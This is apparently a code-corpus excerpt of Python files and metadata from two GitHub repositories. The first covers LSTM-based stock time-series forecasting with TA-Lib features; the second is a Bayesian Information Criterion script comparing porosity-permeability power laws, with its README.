df['CDL2CROWS']=talib.CDL2CROWS(df.Open,df.High,df.Low,df.Close)\n df['CDL3BLACKCROWS']=talib.CDL3BLACKCROWS(df.Open,df.High,df.Low,df.Close)\n df['CDL3INSIDE']=talib.CDL3INSIDE(df.Open,df.High,df.Low,df.Close)\n df['CDL3LINESTRIKE']=talib.CDL3LINESTRIKE(df.Open,df.High,df.Low,df.Close)\n df['CDL3OUTSIDE']=talib.CDL3OUTSIDE(df.Open,df.High,df.Low,df.Close)\n df['CDL3STARSINSOUTH']=talib.CDL3STARSINSOUTH(df.Open,df.High,df.Low,df.Close)\n df['CDL3WHITESOLDIERS']=talib.CDL3WHITESOLDIERS(df.Open,df.High,df.Low,df.Close)\n df['CDLABANDONEDBABY']=talib.CDLABANDONEDBABY(df.Open,df.High,df.Low,df.Close,penetration=0)\n df['CDLADVANCEBLOCK']=talib.CDLADVANCEBLOCK(df.Open,df.High,df.Low,df.Close)\n df['CDLBELTHOLD']=talib.CDLBELTHOLD(df.Open,df.High,df.Low,df.Close)\n df['CDLBREAKAWAY']=talib.CDLBREAKAWAY(df.Open,df.High,df.Low,df.Close)\n df['CDLCLOSINGMARUBOZU']=talib.CDLCLOSINGMARUBOZU(df.Open,df.High,df.Low,df.Close)\n df['CDLCONCEALBABYSWALL']=talib.CDLCONCEALBABYSWALL(df.Open,df.High,df.Low,df.Close)\n df['CDLCOUNTERATTACK']=talib.CDLCOUNTERATTACK(df.Open,df.High,df.Low,df.Close)\n df['CDLDARKCLOUDCOVER']=talib.CDLDARKCLOUDCOVER(df.Open,df.High,df.Low,df.Close,penetration=0)\n df['CDLDOJI']=talib.CDLDOJI(df.Open,df.High,df.Low,df.Close)\n df['CDLDOJISTAR']=talib.CDLDOJISTAR(df.Open,df.High,df.Low,df.Close)\n df['CDLDRAGONFLYDOJI']=talib.CDLDRAGONFLYDOJI(df.Open,df.High,df.Low,df.Close)\n df['CDLENGULFING']=talib.CDLENGULFING(df.Open,df.High,df.Low,df.Close)\n df['CDLEVENINGDOJISTAR']=talib.CDLEVENINGDOJISTAR(df.Open,df.High,df.Low,df.Close,penetration=0)\n df['CDLEVENINGSTAR']=talib.CDLEVENINGSTAR(df.Open,df.High,df.Low,df.Close,penetration=0)\n df['CDLGAPSIDESIDEWHITE']=talib.CDLGAPSIDESIDEWHITE(df.Open,df.High,df.Low,df.Close)\n df['CDLGRAVESTONEDOJI']=talib.CDLGRAVESTONEDOJI(df.Open,df.High,df.Low,df.Close)\n df['CDLHAMMER']=talib.CDLHAMMER(df.Open,df.High,df.Low,df.Close)\n df['CDLHANGINGMAN']=talib.CDLHANGINGMAN(df.Open,df.High,df.Low,df.Close)\n df['CDLHARAMI']=talib.CDLHARAMI(df.Open,df.High,df.Low,df.Close)\n df['CDLHARAMICROSS']=talib.CDLHARAMICROSS(df.Open,df.High,df.Low,df.Close)\n df['CDLHIGHWAVE']=talib.CDLHIGHWAVE(df.Open,df.High,df.Low,df.Close)\n df['CDLHIKKAKE']=talib.CDLHIKKAKE(df.Open,df.High,df.Low,df.Close)\n df['CDLHIKKAKEMOD']=talib.CDLHIKKAKEMOD(df.Open,df.High,df.Low,df.Close)\n df['CDLHOMINGPIGEON']=talib.CDLHOMINGPIGEON(df.Open,df.High,df.Low,df.Close)\n df['CDLIDENTICAL3CROWS']=talib.CDLIDENTICAL3CROWS(df.Open,df.High,df.Low,df.Close)\n df['CDLINNECK']=talib.CDLINNECK(df.Open,df.High,df.Low,df.Close)\n df['CDLINVERTEDHAMMER']=talib.CDLINVERTEDHAMMER(df.Open,df.High,df.Low,df.Close)\n df['CDLKICKING']=talib.CDLKICKING(df.Open,df.High,df.Low,df.Close)\n df['CDLKICKINGBYLENGTH']=talib.CDLKICKINGBYLENGTH(df.Open,df.High,df.Low,df.Close)\n df['CDLLADDERBOTTOM']=talib.CDLLADDERBOTTOM(df.Open,df.High,df.Low,df.Close)\n df['CDLLONGLEGGEDDOJI']=talib.CDLLONGLEGGEDDOJI(df.Open,df.High,df.Low,df.Close)\n df['CDLLONGLINE']=talib.CDLLONGLINE(df.Open,df.High,df.Low,df.Close)\n df['CDLMARUBOZU']=talib.CDLMARUBOZU(df.Open,df.High,df.Low,df.Close)\n df['CDLMATCHINGLOW']=talib.CDLMATCHINGLOW(df.Open,df.High,df.Low,df.Close)\n df['CDLMATHOLD']=talib.CDLMATHOLD(df.Open,df.High,df.Low,df.Close,penetration=0)\n df['CDLMORNINGDOJISTAR']=talib.CDLMORNINGDOJISTAR(df.Open,df.High,df.Low,df.Close,penetration=0)\n df['CDLMORNINGSTAR']=talib.CDLMORNINGSTAR(df.Open,df.High,df.Low,df.Close,penetration=0)\n df['CDLONNECK']=talib.CDLONNECK(df.Open,df.High,df.Low,df.Close)\n df['CDLPIERCING']=talib.CDLPIERCING(df.Open,df.High,df.Low,df.Close)\n df['CDLRICKSHAWMAN']=talib.CDLRICKSHAWMAN(df.Open,df.High,df.Low,df.Close)\n df['CDLRISEFALL3METHODS']=talib.CDLRISEFALL3METHODS(df.Open,df.High,df.Low,df.Close)\n df['CDLSEPARATINGLINES']=talib.CDLSEPARATINGLINES(df.Open,df.High,df.Low,df.Close)\n df['CDLSHOOTINGSTAR']=talib.CDLSHOOTINGSTAR(df.Open,df.High,df.Low,df.Close)\n df['CDLSHORTLINE']=talib.CDLSHORTLINE(df.Open,df.High,df.Low,df.Close)\n df['CDLSPINNINGTOP']=talib.CDLSPINNINGTOP(df.Open,df.High,df.Low,df.Close)\n df['CDLSTICKSANDWICH']=talib.CDLSTICKSANDWICH(df.Open,df.High,df.Low,df.Close)\n df['CDLTAKURI']=talib.CDLTAKURI(df.Open,df.High,df.Low,df.Close)\n df['CDLTASUKIGAP']=talib.CDLTASUKIGAP(df.Open,df.High,df.Low,df.Close)\n df['CDLTHRUSTING']=talib.CDLTHRUSTING(df.Open,df.High,df.Low,df.Close)\n df['CDLTRISTAR']=talib.CDLTRISTAR(df.Open,df.High,df.Low,df.Close)\n df['CDLUNIQUE3RIVER']=talib.CDLUNIQUE3RIVER(df.Open,df.High,df.Low,df.Close)\n df['CDLUPSIDEGAP2CROWS']=talib.CDLUPSIDEGAP2CROWS(df.Open,df.High,df.Low,df.Close)\n df['CDLXSIDEGAP3METHODS']=talib.CDLXSIDEGAP3METHODS(df.Open,df.High,df.Low,df.Close)\n\n # Price Transform\n df['AVGPRICE']=talib.AVGPRICE(df.Open,df.High,df.Low,df.Close)\n df['MEDPRICE']=talib.MEDPRICE(df.High,df.Low)\n df['TYPPRICE']=talib.TYPPRICE(df.High,df.Low,df.Close)\n df['WCLPRICE']=talib.WCLPRICE(df.High,df.Low,df.Close)\n\n # Statistic Functions\n df['BETA']=talib.BETA(df.High,df.Low,timeperiod=5)\n df['CORREL10']=talib.CORREL(df.High,df.Low,timeperiod=10)\n df['CORREL30']=talib.CORREL(df.High,df.Low,timeperiod=30)\n df['LINEARREG']=talib.LINEARREG(df.Close,timeperiod=14)\n df['LINEARREG_ANGLE']=talib.LINEARREG_ANGLE(df.Close,timeperiod=14)\n df['LINEARREG_INTERCEPT']=talib.LINEARREG_INTERCEPT(df.Close,timeperiod=14)\n df['LINEARREG_SLOPE']=talib.LINEARREG_SLOPE(df.Close,timeperiod=14)\n df['STDDEV']=talib.STDDEV(df.Close,timeperiod=5,nbdev=1)\n df['TSF']=talib.TSF(df.Close,timeperiod=14)\n df['VAR']=talib.VAR(df.Close,timeperiod=5,nbdev=1)\n\n # Volatility Indicators\n df['ATR5']=talib.ATR(df.High,df.Low,df.Close,timeperiod=5)\n df['ATR10']=talib.ATR(df.High,df.Low,df.Close,timeperiod=10)\n df['ATR20']=talib.ATR(df.High,df.Low,df.Close,timeperiod=20)\n df['ATR30']=talib.ATR(df.High,df.Low,df.Close,timeperiod=30)\n df['ATR50']=talib.ATR(df.High,df.Low,df.Close,timeperiod=50)\n df['ATR100']=talib.ATR(df.High,df.Low,df.Close,timeperiod=100)\n df['NATR5']=talib.NATR(df.High,df.Low,df.Close,timeperiod=5)\n df['NATR10']=talib.NATR(df.High,df.Low,df.Close,timeperiod=10)\n df['NATR20']=talib.NATR(df.High,df.Low,df.Close,timeperiod=20)\n df['NATR30']=talib.NATR(df.High,df.Low,df.Close,timeperiod=30)\n df['NATR50']=talib.NATR(df.High,df.Low,df.Close,timeperiod=50)\n df['NATR100']=talib.NATR(df.High,df.Low,df.Close,timeperiod=100)\n df['TRANGE']=talib.TRANGE(df.High,df.Low,df.Close)\n\n # Volume Indicators\n df['AD']=talib.AD(df.High,df.Low,df.Close,df.Volume)\n df['ADOSC']=talib.ADOSC(df.High,df.Low,df.Close,df.Volume,fastperiod=3,slowperiod=10)\n df['OBV']=talib.OBV(df.Close,df.Volume)\n\n return df\n\nfor ticker in ytickers:\n stocks[ticker]=TA(stocks[ticker].copy())\n\n stocks[ticker]=stocks[ticker].replace(np.inf,np.nan).dropna(how='all',axis=1)\n\n imputer=impute.SimpleImputer().fit(stocks[ticker])\n stocks[ticker]=pd.DataFrame(imputer.transform(stocks[ticker]),columns=stocks[ticker].columns,index=stocks[ticker].index)" }, { "alpha_fraction": 0.5879428386688232, "alphanum_fraction": 0.6142013669013977, "avg_line_length": 34.55801010131836, "blob_id": "c5ea527c968a2bcfe7856b7e1dc1cd4ff3744c61", "content_id": "3c887a2b0c915a051558d614ab28d18c07d4634e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6436, "license_type": "no_license", "max_line_length": 132, "num_lines": 181, "path": "/src/_LSTM.py", "repo_name": "debashish373/Deep-Learning-for-Time-Series", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nfrom tensorflow.keras import layers\nfrom tensorflow.keras.models import Model, load_model\nfrom tensorflow.keras import optimizers\nfrom tensorflow.keras import callbacks\nfrom tensorflow.keras import utils\nfrom tensorflow.keras import backend as K\nfrom tensorflow.keras.utils import plot_model\n\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn import metrics\nimport matplotlib.pyplot as plt\n\n#LSTM class\n\nclass _LSTM:\n\n \"\"\"\n A custom class for different LSTM model variants\n\n \"\"\"\n\n def __init__(self,data,timestep=10,type=None):\n self.timestep=timestep\n self.type=type\n self.X1,self.X2,self.y1,self.y2=data\n\n\n def _fit(self,verbose=False,summary=False,epochs=100):\n\n x=layers.Input(shape=(self.X1.shape[1],self.timestep))\n\n if self.type==None or self.type=='vanilla lstm':\n y=layers.LSTM(50,activation='tanh',return_sequences=False,input_shape=(self.timestep,self.X1.shape[1]),name='VaLSTM')(x)\n elif self.type=='stacked lstm':\n y=layers.LSTM(50,activation='tanh',return_sequences=True,input_shape=(self.timestep,self.X1.shape[1]),name='LSTM1')(x)\n y=layers.LSTM(50,activation='tanh',name='LSTM2')(y)\n elif self.type=='bidirectional lstm':\n y=layers.Bidirectional(layers.LSTM(50,activation='tanh',input_shape=(self.timestep,self.X1.shape[1]),name='BiLSTM1'))(x)\n\n y=layers.Dense(200,activation='relu',name='Dense1')(y)\n y=layers.Dropout(0.2)(y)\n y=layers.BatchNormalization()(y)\n\n y=layers.Dense(100,activation='relu',name='Dense2')(y)\n y=layers.Dropout(0.2)(y)\n y=layers.BatchNormalization()(y)\n \n y=layers.Dense(1,activation='sigmoid',name='Output')(y)\n\n self.model=Model(inputs=x,outputs=y)\n \n self.model.compile(loss='binary_crossentropy',optimizer=optimizers.Adam(learning_rate=0.001),metrics=['AUC','accuracy'])\n \n if summary==True:self.model.summary()\n\n print('\\n')\n print('Fitting model...')\n self.model.fit(self.X1,self.y1,epochs=epochs,verbose=0,shuffle=False,validation_split=0.25)\n\n K.clear_session()\n \n def _fit_regression(self,verbose=False,summary=False,forward=5,epochs=100):\n\n x=layers.Input(shape=(self.X1.shape[1],self.timestep))\n\n if self.type==None or self.type=='vanilla lstm':\n y=layers.LSTM(50,activation='tanh',return_sequences=False,input_shape=(self.timestep,self.X1.shape[1]),name='VaLSTM')(x)\n elif self.type=='stacked lstm':\n y=layers.LSTM(50,activation='tanh',return_sequences=True,input_shape=(self.timestep,self.X1.shape[1]),name='LSTM1')(x)\n y=layers.LSTM(50,activation='tanh',name='LSTM2')(y)\n elif self.type=='bidirectional lstm':\n y=layers.Bidirectional(layers.LSTM(50,activation='tanh',input_shape=(self.timestep,self.X1.shape[1]),name='BiLSTM1'))(x)\n\n y=layers.Dense(200,activation='relu',name='Dense1')(y)\n y=layers.Dropout(0.2)(y)\n y=layers.BatchNormalization()(y)\n\n y=layers.Dense(100,activation='relu',name='Dense2')(y)\n y=layers.Dropout(0.2)(y)\n y=layers.BatchNormalization()(y)\n \n y=layers.Dense(forward,name='Output')(y)\n\n self.model=Model(inputs=x,outputs=y)\n \n self.model.compile(loss='mse',optimizer=optimizers.Adam(learning_rate=0.001),metrics=['mean_squared_error'])\n \n if summary==True:self.model.summary()\n\n print('\\n')\n print('Fitting model...')\n self.model.fit(self.X1,self.y1,epochs=epochs,verbose=0,shuffle=False,validation_split=0.25)\n\n K.clear_session()\n \n def _predict(self,X):\n preds=self.model.predict(X)\n return preds\n\n def _metrics(self,act,pred):\n\n self.fpr,self.tpr,self.th=metrics.roc_curve(act,pred)\n self.auc=metrics.auc(self.fpr,self.tpr)\n self.accuracy=metrics.accuracy_score(act,np.round(pred))\n\n return self.auc,self.accuracy\n \n def _plot_model(self):\n plot_model(self.model,show_shapes=True,show_layer_names=True) \n\n def _plots(self,ticker,act,pred,figsize=(20,5)):\n fig,ax=plt.subplots(1,2,figsize=figsize)\n ax[0].plot(self.fpr,self.tpr)\n ax[0].set_xlabel('FPR')\n ax[0].set_ylabel('TPR')\n ax[0].set_title(ticker+': ROC Curve')\n auc,acc=self._metrics(act,pred)\n ax[0].annotate('AUC: '+ str(np.round(auc,4)),xy=(0.85,0.1))\n\n ax[0].plot(np.linspace(0,1),np.linspace(0,1))\n\n cm=metrics.confusion_matrix(act,np.round(pred))\n #print(metrics.confusion_matrix(act,np.round(pred)))\n im=ax[1].imshow(cm,cmap='viridis')\n ax[1].set_xlabel(\"Predicted labels\")\n ax[1].set_ylabel(\"True labels\")\n ax[1].set_xticks([],[])\n ax[1].set_yticks([],[])\n ax[1].set_title(ticker+': Confusion matrix')\n\n fig.colorbar(im,ax=ax[1],orientation='vertical')\n \n plt.show()\n \n def _reg_preds(self):\n \n #Train set\n t1=self.y1\n t2=self.model.predict(self.X1)\n \n #Vaid set\n t3=self.y2\n t4=self.model.predict(self.X2)\n \n act=list((t1)[0])\n pred=list(t2[0])\n \n act_=list((t3)[0])\n pred_=list(t4[0])\n\n for i in range(1,len(self.y1)):\n act.append(t1[i][-1])\n pred.append(t2[i][-1])\n \n for i in range(1,len(self.y2)):\n act_.append(t3[i][-1])\n pred_.append(t4[i][-1])\n \n fig,ax=plt.subplots(1,2,figsize=(25,6))\n \n ax[0].plot(act,label='Actual train set')\n ax[0].plot(pred,label='Predictions',color='darkgreen')\n ax[0].set_title('Train set (Normalized prices), '+'RMSE: '+str(np.round(np.sqrt(metrics.mean_squared_error(act,pred)),4)))\n ax[0].legend()\n \n ax[1].plot(act_,label='Actual valid set',color='orange')\n ax[1].plot(pred_,label='Predictions',color='darkgreen')\n ax[1].set_title('Valid set (Normalized prices), '+'RMSE: '+str(np.round(np.sqrt(metrics.mean_squared_error(act_,pred_)),4)))\n ax[1].legend()\n\n \n#Function to calculate Metrics for classification\ndef check_metrics(ticker,data,lstm_model):\n #print('\\nStock: ',ticker)\n act=data[3]\n pred=lstm_model._predict(X=data[1])\n auc,acc=lstm_model._metrics(act,pred)\n lstm_model._plots(ticker,act,pred)\n" }, { "alpha_fraction": 0.5115441679954529, "alphanum_fraction": 0.5274306535720825, "avg_line_length": 38, "blob_id": "ea3e68237749234d66f6df598ddfb57d2574e310", "content_id": "3bc5b4d48f095a896e021f2d91d917d49dba7473", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4721, "license_type": "no_license", "max_line_length": 127, "num_lines": 121, "path": "/src/_Dataset.py", "repo_name": "debashish373/Deep-Learning-for-Time-Series", "src_encoding": "UTF-8", "text": "from sklearn.model_selection import train_test_split\nfrom sklearn import impute,preprocessing\nimport pandas as pd\nimport numpy as np\n\nclass _Dataset:\n\n \"\"\"\n Prepare Dataset for LSTM models\n \"\"\"\n\n def __init__(self,df,timestep=10,forward=10):\n self.timestep=timestep\n self.forward=forward\n self.df=df.copy()\n\n def prepare(self,convert=True,prob='classification'):\n\n df_=self.df.copy()\n #df_=df_.dropna()\n\n Xtrain,Xtest=train_test_split(df_,test_size=0.3,shuffle=False)\n\n imputer=impute.SimpleImputer().fit(Xtrain)\n Xtrain=pd.DataFrame(imputer.transform(Xtrain),columns=df_.columns,index=Xtrain.index)\n Xtest=pd.DataFrame(imputer.transform(Xtest),columns=df_.columns,index=Xtest.index)\n\n scaler=preprocessing.StandardScaler().fit(Xtrain)\n Xtrain_scaled=pd.DataFrame(scaler.transform(Xtrain),columns=df_.columns,index=Xtrain.index)\n Xtest_scaled=pd.DataFrame(scaler.transform(Xtest),columns=df_.columns,index=Xtest.index)\n\n temp=Xtrain_scaled.append(Xtest_scaled).copy()\n final=pd.DataFrame(columns=temp.columns,index=temp.index)\n\n print('Preparing dataframes...')\n \n if prob=='classification':\n final['temp1']=''\n final['temp2']=pd.DataFrame(scaler.inverse_transform(temp),columns=temp.columns,index=temp.index).dret.values\n\n for col in (temp.columns):\n for i in range(len(temp)):\n final.loc[:,col][i]=(temp[col].values[i-self.timestep:i])\n #final.loc[:,'temp1'][i]=(final['temp2'].values[i-self.forward:i])\n\n for i in range(len(temp)):\n final.loc[:,'temp1'][i]=(final['temp2'].values[i-self.forward:i])\n\n _max=max(self.forward,self.timestep)\n final=final.iloc[_max:]\n\n #Defining the target\n final['target']=final.temp1.shift(-self.forward)\n final=final.dropna()\n final['target']=final.target.apply(lambda x:1 if np.prod([i for i in map(lambda y:(1+y),x)])-1>0.025 else 0).values\n final=final.drop(['temp1','temp2'],axis=1)\n \n else:#Regression\n \n for col in (temp.columns):\n for i in range(len(temp)):\n final.loc[:,col][i]=(temp[col].values[i-self.timestep:i])\n\n _max=max(self.forward,self.timestep)\n final=final.iloc[_max:]\n\n #Defining the target\n final['target']=final.Close.shift(-self.forward)\n final=final.dropna()\n\n Xtrain,Xtest,ytrain,ytest=train_test_split(final.drop('target',axis=1),final.target,test_size=0.3,shuffle=False)\n\n if convert==False:\n return Xtrain,Xtest,ytrain,ytest\n\n else:\n print('\\n')\n print('Converting dataframes to arrays...')\n \n if prob=='classification':\n X1=np.ndarray(shape=(Xtrain.shape[0],Xtrain.shape[1],self.timestep))\n X2=np.ndarray(shape=(Xtest.shape[0],Xtest.shape[1],self.timestep))\n\n y1=np.array(ytrain).reshape(-1,1)\n y2=np.array(ytest).reshape(-1,1)\n\n for i in (range(X1.shape[0])):\n for j in range(X1.shape[1]):\n for k in range(self.timestep):\n X1[i,j,k]=Xtrain.iloc[i,j][k]\n\n for i in (range(X2.shape[0])):\n for j in range(X2.shape[1]):\n for k in range(self.timestep):\n X2[i,j,k]=Xtest.iloc[i,j][k]\n \n else:#Regression\n \n X1=np.ndarray(shape=(Xtrain.shape[0],Xtrain.shape[1],self.timestep))\n X2=np.ndarray(shape=(Xtest.shape[0],Xtest.shape[1],self.timestep))\n\n y1=np.ndarray(shape=(ytrain.shape[0],self.forward))\n y2=np.ndarray(shape=(ytest.shape[0],self.forward))\n\n for i in (range(X1.shape[0])):\n for j in range(X1.shape[1]):\n for k in range(self.timestep):\n X1[i,j,k]=Xtrain.iloc[i,j][k]\n \n for k in range(self.forward):\n y1[i,k]=ytrain.iloc[i][k]\n\n for i in (range(X2.shape[0])):\n for j in range(X2.shape[1]):\n for k in range(self.timestep):\n X2[i,j,k]=Xtest.iloc[i,j][k]\n \n for k in range(self.forward):\n y2[i,k]=ytrain.iloc[i][k]\n \n return X1,X2,y1,y2\n\n\n" } ]
9
stasvf2278/Bayesian_Information_Criterion_Analysis
https://github.com/stasvf2278/Bayesian_Information_Criterion_Analysis
31b692e6f148d29dcc21feabe8ae35aded723046
d636c78054b0ca7377d395fc17336ea255c9982c
0e81e4cbe698a5b69c557fc86043d52d0f9efc94
refs/heads/master
2021-04-18T18:08:08.588030
2020-03-25T13:43:31
2020-03-25T13:43:31
249,570,440
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.4613022208213806, "alphanum_fraction": 0.47205159068107605, "avg_line_length": 61.1456298828125, "blob_id": "91088054682a39527dad15e186704e784f589a81", "content_id": "5efd84331a1ea33d2fa84095a48dc220db043b97", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6512, "license_type": "permissive", "max_line_length": 304, "num_lines": 103, "path": "/Bayesian_Information_Criterion_Analysis.py", "repo_name": "stasvf2278/Bayesian_Information_Criterion_Analysis", "src_encoding": "UTF-8", "text": "#-------------------------------------------------------------------------------\r\n# Name: Bayesian Information Criterion Analysis\r\n# Purpose: Comparing Power Laws of a data set\r\n#\r\n# Author: Stanley\r\n#\r\n# Created: 07/03/2018\r\n# Copyright: (c) Stanley 2020\r\n#-------------------------------------------------------------------------------\r\nimport math\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom numpy import pi, r_\r\nimport matplotlib.pyplot as plt\r\nfrom scipy import optimize\r\nfrom scipy.stats import linregress\r\n\r\ndef main():\r\n\r\n df1 = pd.read_csv(\"PorPerm2ABLM.csv\") ##########CHANGE FILE NAME HERE ## Imports .csv file\r\n\r\n por_list = df1[\"porosity\"].tolist() ## Converts column labeled \"porosity\" to porosity list\r\n perm_list = df1[\"permeability\"].tolist() ## Converts column labeled \"permeability\" to permeability list\r\n\r\n for i in range(len(por_list)): ## Converts lab values to log base 10 values without changing list names\r\n por_list[i] = math.log10(por_list[i])\r\n perm_list[i] = math.log10(perm_list[i])\r\n i = i + 1\r\n\r\n model = linregress(por_list, perm_list) ##calulates linear model (slope, intercept), x and y are arrays or lists\r\n slope, intercept = model.slope, model.intercept ##defines variables for slope and intercept\r\n\r\n SSE = 0\r\n i = 0\r\n for i in range(len(por_list)): ##Calculates SSE of entire dataset\r\n SSE = SSE + ((perm_list[i]-(slope*por_list[i]+intercept))**2)\r\n i = i + 1\r\n\r\n BICR = len(por_list)*math.log(SSE)/2-(1.5*math.log(len(por_list)/(2*math.pi)))\r\n ##BICR = (len(por_list)*math.log(SSE)/2) ##troubleshooting BICR, ignore\r\n ##BICR = 1.5*math.log(len(por_list)/(2*math.pi)) ##troubleshooting BICR, ignore\r\n print(\"BICR: \" + str(BICR))\r\n\r\n x_star = min(por_list) ## Defines x* as min log_10_porosity from\r\n\r\n while x_star < max(por_list): ## Iteration process that steps through x* values to calculate BIC\r\n lessthanpor = []\r\n lessthanperm = []\r\n morethanpor = []\r\n morethanperm = []\r\n for z in range(len(por_list)): ## Seperates dataset into < and > x* log_10_porosity\r\n if por_list[z] < x_star:\r\n lessthanpor.append(por_list[z])\r\n lessthanperm.append(perm_list[z])\r\n if por_list[z] > x_star:\r\n morethanpor.append(por_list[z])\r\n morethanperm.append(perm_list[z])\r\n ltslope = 0\r\n ltintercept = 0\r\n mtslope = 0\r\n mtintercept = 0\r\n SSElt = 0\r\n SSEmt = 0\r\n if len(lessthanpor) > 2: ## Defines m and b for two linear functions (y = mx + b)\r\n lessthanmodel = linregress(lessthanpor,lessthanperm) ## This is the guts of the analysis. See Farquharson et al. (2015) in the README.txt for a detailed explanation\r\n ltslope, ltintercept = lessthanmodel.slope, lessthanmodel.intercept\r\n for p in range(len(lessthanpor)):\r\n SSElt = SSElt + (((lessthanperm[p] - (ltslope*lessthanpor[p]+ltintercept)))**2)\r\n if len(morethanpor) > 2:\r\n morethanmodel = linregress(morethanpor,morethanperm)\r\n mtslope, mtintercept = morethanmodel.slope, morethanmodel.intercept\r\n q = 0\r\n for q in range(len(morethanpor)):\r\n SSEmt = SSEmt + (((morethanperm[q] - (ltintercept+x_star*(ltslope-mtslope)+(mtslope*morethanpor[q])))))**2\r\n BICx_star = len(por_list)*math.log(SSEmt+SSElt)/2 - 2.5*math.log(len(por_list)/(2*math.pi))\r\n ## fhalf = len(por_list)*math.log(SSEmt+SSElt)/2 ## Trouble shooting BICx*, ignore\r\n ## shalf = 2.5*math.log(len(por_list)/(2*math.pi)) ## Trouble shooting BICxI, ignore\r\n\r\n if ltslope > 0:\r\n if mtslope > 0: ## With enough scatter, low-x data points can produce negative slopes, making this line necessary\r\n if ltslope > mtslope: ## This line was important for my rock mechanics study as the lower x-value power law needed to be greater than the higher x-value power law. Depending on your data, this line may need to be removed and identation corrected.\r\n if(BICx_star-BICR) > 1: ## Ensures the power laws are statistically different\r\n print(\"\")\r\n print(\"BICx* - BICR: \" + str(BICx_star-BICR)) ## Gives BICx* - BICR\r\n print(\"x*: \" + str(x_star))\r\n print(\"Porosity: \" + str(10**x_star)) ## Porosity (or x-value) that corresponds to x*\r\n print(\"\")\r\n print(\"xi < x* slope \" + str(ltslope)) ## Slope of the lower x-value power law\r\n print(\"xi > x* slope \" + str(mtslope)) ## Slope of the higher x-value power law\r\n print(\"\")\r\n ## print(\"SSElt \" + str(SSElt))\r\n ## print(\"SSEmt \" + str(SSEmt))\r\n ## print fhalf\r\n ## print shalf\r\n print(\"BICx*: \" + str(BICx_star)) ## Gives BICx*\r\n print(\"xi < x* n = \" + str(len(lessthanpor))) ## Gives population number of data for lower power law\r\n print(\"xi < x* intercept \" + str(ltintercept)) ## Y-itercept of the lower x-value power law\r\n print(\"xi > x* intercept \" + str(mtintercept)) ## Y-itercept of the higher x-value power law\r\n print(\"*******************************END OF SERIES*******************************\")\r\n x_star = x_star + 0.01\r\n\r\nif name == \"main\":\r\n main()\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.7385257482528687, "alphanum_fraction": 0.7579972147941589, "avg_line_length": 57.91666793823242, "blob_id": "7870c8d58937b90eb75a54956c9898688abc1841", "content_id": "d735c9b585335213aa63f744cc804c457911a070", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 3601, "license_type": "permissive", "max_line_length": 352, "num_lines": 60, "path": "/README.txt", "repo_name": "stasvf2278/Bayesian_Information_Criterion_Analysis", "src_encoding": "UTF-8", "text": "Project Name:\r\n\r\nBayesian Information Criterion Analysis\r\n\r\nDescription:\r\n\r\nThis script compares to power laws within a single x-y dataset by iterating through the x-y values to identify datapoints which mark statistically significant different power laws expressed by the data.\r\n\r\nEvery time instance of BICx_star-BICR in the data produces a print read out at the critical x value ('Porosity' in this script, see Ln 86)\r\n\r\n\tsee:\r\n\t\tMain, I.G., Leonard, T., Papasouliotis, O., Hatton, O., Meredith, P.G., 1999. One slope or two, Detecting statistically significant breaks of slope in geophysical data with application to fracture scaling relationships. Geophys. Res. Lett. 26 (18), 2801–2804.\r\n\t\t\r\n\t\tHeap, M.J., Kennedy, B., Farquharson, J., Ashworth, J., Gilg, H.A., Scheu, B., Lavallée, Y., Siratovich, P.A., Cole, J., Jolly, A., Dingwell, D.B., 2017a. A multidisciplinary approach to quantify the permeability of a volcanic hydrothermal system (Whakaari/White Island, Taupo volcanic zone, New Zealand). J. Volcanol. Geotherm. Res. 332, 88–108.\r\n\t\t\r\n\t\tFarquharson, J., Heap, M.J., Varley, N.R., Baud, P., Reuschlé, T., 2015. Permeability and porosity relationships of edifice-forming andesites: a combined field and laboratory study. J. Volcanol. Geotherm. Res. 297, 52–68.\r\n\r\nUsage:\r\n\r\nNote: Written in Pyton 2.7 and tested in Pyton 3.7\r\n\r\nNote: This script was written for Windows.\r\n\r\nNote: The script is currently set up to compare the data found in PorPerm2ABLM.csv. Change the file name in Ln 20 for your own CSV file. I provide this .csv file in case you wish to see the necessary data structure to use this script.\r\n\r\nNote: The columns for the x and y columns (porosity and permeability, respectively) must be relabeled in the code if the column labels are changed from 'porosity' and 'permeability' (Ln 22 and 23). In this version of the script, 'porosity' is the x column and permeability is the y column.\r\n\r\nNote: On Ln 81, 'if ltslope > mtslope:' ensures that lower x-value power law was always greater than the higher x-value power law. This line was important for my rock mechanics study as the lower x-value power law needed to be greater than the higher x-value power law. Depending on your data, this line may need to be removed and identation corrected.\r\n\r\nInstallation:\r\n\r\nThe 'import' commands need to be placed at the start of the Python file. The 'main()' function can be relabeled and moved as appropriate.\r\n\r\nCredits:\r\n\r\nI, stasvf2278, modeled this script of the explanation of Bayesian Information Criterion Analysis provided by J.F. in Farquharson et al. (2015).\r\n\r\nLicense:\r\n\r\nMIT License\r\n\r\nCopyright (c) 2020 stasvf2278\r\n\r\nPermission is hereby granted, free of charge, to any person obtaining a copy\r\nof this software and associated documentation files (the \"Software\"), to deal\r\nin the Software without restriction, including without limitation the rights\r\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\ncopies of the Software, and to permit persons to whom the Software is\r\nfurnished to do so, subject to the following conditions:\r\n\r\nThe above copyright notice and this permission notice shall be included in all\r\ncopies or substantial portions of the Software.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\nSOFTWARE.\r\n" } ]
2
ddayzzz/Tools
